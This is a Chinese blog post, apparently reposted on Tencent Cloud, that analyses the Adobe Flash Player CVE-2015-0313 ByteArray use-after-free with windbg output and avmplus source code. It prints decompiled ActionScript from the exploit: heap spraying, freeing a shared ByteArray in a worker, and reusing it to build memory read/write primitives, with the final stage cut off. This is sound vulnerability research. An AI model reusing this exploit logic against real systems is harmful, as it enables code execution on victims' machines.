前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >CVE-2015-0313 Adobe Flash Player Workers ByteArray 释放重引用漏洞

CVE-2015-0313 Adobe Flash Player Workers ByteArray 释放重引用漏洞

作者头像
用户1423082
发布于 2024-12-31 10:31:16
发布于 2024-12-31 10:31:16
6600
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

分析ActionScript虚拟机源码辅助漏洞调试

原书ActionScript写错了

环境

win7 sp1 32位 windbg ida

flash player下载地址

http://download.macromedia.com/pub/flashplayer/installers/archive/fp_16.0.0.296_archive.zip

(建议使用vps下载,国内有可能被劫持)

历史版本页面

https://helpx.adobe.com/cn/flash-player/kb/archived-flash-player-versions.html

下载后安装的是flashplayer16_0r0_296_winax.msi,后来用exe还是不行【我分析个漏洞容易吗】,那我按照不带ax的flashplayer16_0r0_296_win.exe

不用ax的安装包也能崩溃,不过esi看不出是什么来

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(d18.908): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05390000 ebx=0452ddc0 ecx=0452db84 edx=773e64f4 esi=05390000 edi=00000000
eip=05390000 esp=0452dbd8 ebp=0452dc08 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
05390000 c3              ret
0:005> kv
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0452dbd4 73bb20dd bd01f535 00000001 80004001 0x5390000
0452dc08 73bb2315 00000000 0452dc48 73bb3256 corpol!IsNxON+0x3b (FPO: [Non-Fpo])
0452dc14 73bb3256 0452dc20 00000000 00000000 corpol!RbFreePermissionTreeData+0x10 (FPO: [Non-Fpo])
0452dc48 73bb3589 0452dcc8 0452ddc0 0452dc74 corpol!GetActivePolicy+0x35f (FPO: [Non-Fpo])
0452dd44 755f3660 0452ddc0 00000001 0452df18 corpol!CORPolicyProvider+0x2a1 (FPO: [Non-Fpo])
0452de60 755f269e 00000000 00000000 00000000 wintrust!I_IsUnsignedPEFile+0x8d6 (FPO: [Non-Fpo])
0452de7c 76f7adcc 00000000 0452df80 0452df18 wintrust!WinVerifyTrust+0x52 (FPO: [Non-Fpo])
0452de94 76f7bd71 00000000 0452df80 0452df18 urlmon!Cwvt::WinVerifyTrust+0x1d (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\wvtp.h @ 58]
0452dfa4 76f7c1cb 0000064c 00000000 00000002 urlmon!Cwvt::InvokeWinVerifyTrust+0x3cd (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\wvt.cxx @ 897]
0452e394 76f8055e 0000064c 0019026a 05fb1f58 urlmon!Cwvt::VerifyTrust+0x110 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\wvt.cxx @ 495]
0452fc48 76f774a5 76f775f2 0452fce8 00000000 urlmon!CDownload::VerifyTrust+0x172 (FPO: [Non-Fpo]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\dl.cxx @ 786]
0452fc4c 76f775f2 0452fce8 00000000 00000113 urlmon!CCDLPacket::Process+0x68 (FPO: [0,0,0]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\packet.cxx @ 540]
0452fc5c 76f7764c 03eb7fc0 00000000 0452fc98 urlmon!CCDLPacketMgr::TimeSlice+0x78 (FPO: [0,0,4]) (CONV: thiscall) [d:\w7rtm\inetcore\urlmon\download\packet.cxx @ 331]
0452fc6c 76e386ef 00000000 00000113 00007549 urlmon!CDL_PacketProcessProc+0x2c (FPO: [Non-Fpo]) (CONV: stdcall) [d:\w7rtm\inetcore\urlmon\download\packet.cxx @ 58]
0452fc98 76e39363 76f77620 00000000 00000113 USER32!InternalCallWinProc+0x23
0452fd10 76e38f6f 00000000 76f77620 00000000 USER32!UserCallWinProc+0xe0 (FPO: [Non-Fpo])
0452fd68 76e38e9c 0452fd90 00000000 0452fdf0 USER32!DispatchMessageWorker+0x13d (FPO: [Non-Fpo])
0452fd78 6ac604a6 0452fd90 00000000 0187cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0452fdf0 6ac70446 0585a808 00000000 032d6ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x452 (FPO: [Non-Fpo])
0452fea8 75ef49bd 0187cf58 00000000 0452fec4 IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0452feb8 77541174 032d6ff0 0452ff04 773fb3f5 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0452fec4 773fb3f5 032d6ff0 715e9a99 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0452ff04 773fb3c8 75ef49af 032d6ff0 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0452ff1c 00000000 75ef49af 032d6ff0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
0:005> ub 73bb20dd 
corpol!IsNxON+0x24:
73bb20c6 ff156010bb73    call    dword ptr [corpol!_imp__VirtualAlloc (73bb1060)]
73bb20cc 8bf0            mov     esi,eax
73bb20ce 8975e4          mov     dword ptr [ebp-1Ch],esi
73bb20d1 3bf7            cmp     esi,edi
73bb20d3 7433            je      corpol!IsNxON+0x66 (73bb2108)
73bb20d5 c606c3          mov     byte ptr [esi],0C3h
73bb20d8 897dfc          mov     dword ptr [ebp-4],edi
73bb20db ffd6            call    esi
0:005> !heap -p -a esi

我们还是跟着作者的思路分析去

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public class Main extends Sprite
  {
      
     
     private var ov:Vector.<Object>;
     
     private var uv:Vector.<uint>;
     
     private var ba:ByteArray;
     
     private var worker:Worker;
     
     private var mc:MessageChannel;
     
     private var b64:Base64Decoder;
     
     private var payload:String = "";
     
     public function Main()
     {
        ov = new Vector.<Object>(25600);
        uv = new Vector.<uint>();
        ba = new ByteArray();
        b64 = new Base64Decoder();
        super();
        if(Worker.current.isPrimordial)
        {
           mainThread();
        }
        else
        {
           workerThread();
        }
     }
     
     private function mainThread() : void
     {
        var _loc1_:* = 0;
        b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh);
        payload = b64.toByteArray().toString();
        ba.length = 4096;
        ba.shareable = true;
        _loc1_ = uint(0);
        while(_loc1_ < ov.length)
        {
           ov[_loc1_] = new Vector.<Object>(1014);
           ov[_loc1_][0] = ba;
           ov[_loc1_][1] = this;
           _loc1_++;
        }
        _loc1_ = uint(0);
        while(_loc1_ < ov.length)
        {
           delete ov[_loc1_];
           _loc1_ = uint(_loc1_ + 2);
        }
        worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes);  //创建后台worker
        mc = worker.createMessageChannel(Worker.current); 
        mc.addEventListener("channelMessage",onMessage);  //事件监听函数
        worker.setSharedProperty("mc",mc);
        worker.setSharedProperty("ba",ba);
        ApplicationDomain.currentDomain.domainMemory = ba;  //将ByteArrary对象设置为全局可用
        worker.start();
     }

worker进程

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
private function workerThread() : void
      {
         var _loc3_:ByteArray = Worker.current.getSharedProperty("ba");   //获得共享对象
         var _loc2_:MessageChannel = Worker.current.getSharedProperty("mc");
         _loc3_.clear();   //释放
         ov[0] = new Vector.<uint>(1022);
         _loc2_.send("");   //发消息给主线程,促发onMessage函数
         while(_loc2_.messageAvailable)
         {
         }
         ov[0][0] = ov[0][1027] - 24 - 4096;
         _loc3_.length = 5242880;
         var _loc1_:uint = vector_read(vector_read(ov[0][1032] - 1 + 64) + 8) + 1048576;
         var _loc5_:uint = ov[0][1033] - 1;
         var _loc4_:uint = vector_read(_loc5_);
         vector_write(vector_read(ov[0][1032] - 1 + 64) + 8);
         vector_write(vector_read(ov[0][1032] - 1 + 64) + 16,4294967295);
         _loc2_.send(ov[0][0].toString() + "/" + _loc1_.toString() + "/" + _loc5_.toString() + "/" + _loc4_.toString());
      }

onMessage

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
private function onMessage(param1:Event) : void
     {
        var _loc7_:* = null;
        var _loc2_:* = 0;
        var _loc12_:* = 0;
        var _loc8_:* = 0;
        var _loc4_:* = 0;
        var _loc11_:* = 0;
        var _loc3_:* = 0;
        var _loc5_:* = 0;
        var _loc6_:* = 0;
        var _loc10_:* = 0;
        var _loc9_:* = 0;
        casi32(0,1022,4294967295);   //这里是重引用,对domainMemory[0]
        if(ba.length != 4294967295)
        {
           mc.receive();
        }
        else
        {
           ba.endian = "littleEndian";
           _loc7_ = (mc.receive() as String).split("/");
           byte_write(parseInt(_loc7_[0]));
           _loc2_ = uint(parseInt(_loc7_[1]) as uint);
		。。。。。。
		。。。。。。
		。。。。。。

接下来简单看看AVM的源码:https://github.com/adobe-flash/avmplus

Source Insight 打开后,搜索ByteArray

我们看看cpp,在左边函数窗口搜索clear即可定位到clear函数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void ByteArray::Clear()
{
    if (m_subscribers.length() > 0)
    {
        AvmAssert(false); // shouldn't get here?
        m_toplevel->throwRangeError(kInvalidRangeError);
    }
    if (IsShared()) {
        ByteArrayClearTask task(this);
        task.run();   //核心点
    }
    else {
        UnprotectedClear();
    }
}

这里调用的task.run,我们继续跟踪

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
class ByteArrayClearTask: public ByteArrayTask
   {
   public:
       ByteArrayClearTask(ByteArray* ba)
           : ByteArrayTask(ba) 
       {
       }

       void run()
       {
           // safepoints cannot survive exceptions
           TRY(m_core, kCatchAction_Rethrow)
           {
               m_byteArray->UnprotectedClear();   //实际调用的是这里
           }
           CATCH(Exception* e)
           {
               m_exception = e;
           }
           END_CATCH;
           END_TRY;
       }
   };

我们在函数列表搜一下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 void ByteArray::UnprotectedClear()
    {
        if (m_buffer->array && !IsCopyOnWrite())
        {
            AvmAssert(m_buffer->capacity > 0);
            // Note that TellGcXXX always expects capacity, not (logical) length.
            TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
            mmfx_delete_array(m_buffer->array);
        }
        m_buffer->array             = NULL;
        m_buffer->capacity          = 0;
        m_buffer->length            = 0;    // 3个清空的操作,假如再次使用那么就会崩溃了
#if defined(VMCFG_TELEMETRY_SAMPLER) && defined(DEBUGGER)
        if (m_gc->GetAttachedSampler())
        {
            ((IMemorySampler *)m_gc->GetAttachedSampler())->recordObjectReallocation(this);
        }
#endif
        m_copyOnWriteOwner  = NULL;
    }

其实后面作者就是通过查找到函数在ocx文件中的偏移,下对应的条件断点,可观察到从存在到被清空,到重引用的数据

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-05-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Microsoft Windows CVE-2017-8710 XXE Information Disclosure 漏洞分析
Microsoft的管理控制台没有正确地处理XML的外部实体引用导致可以信息泄露,下载目标机器的文件
用户1423082
2024/12/31
1250
Microsoft Windows CVE-2017-8710 XXE Information Disclosure 漏洞分析
分享两个 CVE 漏洞的分析报告
因为 MS_T120 这个 channel 是内部 Channel,MS_T120 Channel 被绑定两次(内部绑定一次,然后我们又绑定一次——id 不是 31)。由于绑定的时候没有限制,所以绑定在两个不同的 ID 下,因此 MS_T120 Channel 就有两个引用,假如我们关闭 channel,就触发一次 free,而我们断开连接系统默认也会 free,那就变成了 Double Free 了(其实 Double Free 是 UAF 的特殊情况,因为这个 USE 是 free 而已)。
信安之路
2019/10/15
1.8K0
CVE-2019-0708 微软远程桌面服务远程代码执行漏洞之漏洞分析与漏洞利用
之前CVE-2019-0708补丁刚出来一天吧,就去分析补丁,进行了补丁对比,当时的分析把大家都给带偏了
用户1423082
2024/12/31
620
CVE-2019-0708 微软远程桌面服务远程代码执行漏洞之漏洞分析与漏洞利用
bcrypt 死锁探秘
产品经理反馈程序经常失去响应,从他那里创建了 dump 文件,取回来,用 windbg 分析一番。感慨颇多。
Harper
2021/07/27
6070
CVE-2010-3974-Microsoft Windows 传真封面编辑器双重释放漏洞
其实上面可以看DeleteContents,Remove这个函数,应该是跟释放相关
用户1423082
2024/12/31
1020
CVE-2010-3974-Microsoft Windows 传真封面编辑器双重释放漏洞
CVE-2013-1347-Microsoft IE CGenericElement 释放重引用漏洞
好久没分析漏洞了,《漏洞战争》这本书也停滞了很久了,最近没给自己什么任务,那就分析分析吧,虽然这个看着比较长,看看能不能简便一点。
用户1423082
2024/12/31
870
CVE-2013-2551-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞
Pwn2Own 2013的漏洞,发过安全团队VUPEN他们是攻击win8的ie10,利用rop和模块基址泄露实现任意代码执行
用户1423082
2024/12/31
730
CVE-2013-2551-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞
adobe flash player升级coredump分析
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/xuzhina/article/details/41307953
血狼debugeeker
2018/09/20
6010
CVE-2013-3346-Adobe Reader ToolButton 释放重引用漏洞
ftp://ftp.adobe.com/pub/adobe/reader/win/11.x/11.0.00/zh_CN/AdbeRdr11000_zh_CN.exe
用户1423082
2024/12/31
1160
CVE-2013-3346-Adobe Reader ToolButton 释放重引用漏洞
调用 NtUserXXX 引发系统 BSOD 的问题分析
这篇文章通过一次在 Windows XP 和 Windows 7 操作系统内核中分别调用同一个 NtUserXxx 系统调用产生不同现象的问题,对其做了简单分析。
稻草小刀
2022/12/12
3450
调用 NtUserXXX 引发系统 BSOD 的问题分析
CVE-2010-2883分析
漏洞点在SING表处,位于CoolType.dll文件处。 先将恶意pdf文件导入PDFStreamDumper,查看之后可以找到SING表的数据结构。
安恒网络空间安全讲武堂
2018/10/25
7090
CVE-2010-2883分析
公司内部文档安全软件coredump分析实例
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/xuzhina/article/details/39525345
血狼debugeeker
2018/09/20
7540
Educatedscholar利用的漏洞ms09-050分析及其利用的shellcode分析及与msf利用对比
于是就修改里面配置文件的返回地址什么的东西为0x41414141,马上发第一个包就崩溃了 (一开始直接下断还断不下来,可能是因为那里初始的时候还不是代码)
用户1423082
2024/12/31
640
Educatedscholar利用的漏洞ms09-050分析及其利用的shellcode分析及与msf利用对比
CVE-2018-8174双杀漏洞分析复现及防御
CVE-2018-8174漏洞是360追日安全团队于4份捕获到的,并将其命名为“双杀”漏洞,意指在IE浏览器以及office均可以引发的漏洞。
FB客服
2020/02/20
1.3K0
CVE-2018-8174双杀漏洞分析复现及防御
windbg时间穿梭——利用Time Travel Debugging更方便地调试漏洞
下面使用windbg是新版的windbg,叫windbg preview,需要在微软商店(Microsoft Store)中下载安装
用户1423082
2024/12/31
2050
windbg时间穿梭——利用Time Travel Debugging更方便地调试漏洞
关于IE的webbrowser设置兼容模式的一点资料
1,https://bbs.csdn.net/topics/390764769  提到可以用ClearableListData的注册表项目
龙泉寺扫地僧
2020/03/06
1.3K0
TaobaoProtectSE.dll 注入引起的死锁分析
一个以前运行良好的 Windows 程序,在添加了少量功能之后,在若干台测试机中的某一台上运行后一直得不到预期结果,并且能比较高机率地复现。排错过程如下:
mzlogin
2020/04/16
5030
CVE-2011-0065-Firefox 3.6.16 mChannel 释放重引用漏洞
只能看源码(https://hg.mozilla.org/releases/mozilla-1.9.2/rev/c24f21581d77)
用户1423082
2024/12/31
830
MS12-043是个啥?走,咱来波漏洞分析!
Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。
极安御信安全研究院
2022/05/10
5620
MS12-043是个啥?走,咱来波漏洞分析!
如何隐藏钩子:rootkit 的管理程序
在本文中,一个易受攻击的 Microsoft XML 模块被定向到 通过自助服务两字节内联内存补丁实现无懈可击的行为 通过任意代码执行机会。 - [ 目录 1 - 简介 2 - 漏洞 2.1 - 触发器 2.2 - 影响向量 2.3 - 分析崩溃 2.4 - 估计可利用性 2.5 - 补丁分析和根本原因 3 - 控制 3.1 - 膨胀堆栈 1:XSLT 递归 3.2 - 膨胀堆栈 2:JavaScript 递归 3.4 -
franket
2022/03/21
2.4K0
推荐阅读
相关推荐
Microsoft Windows CVE-2017-8710 XXE Information Disclosure 漏洞分析
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档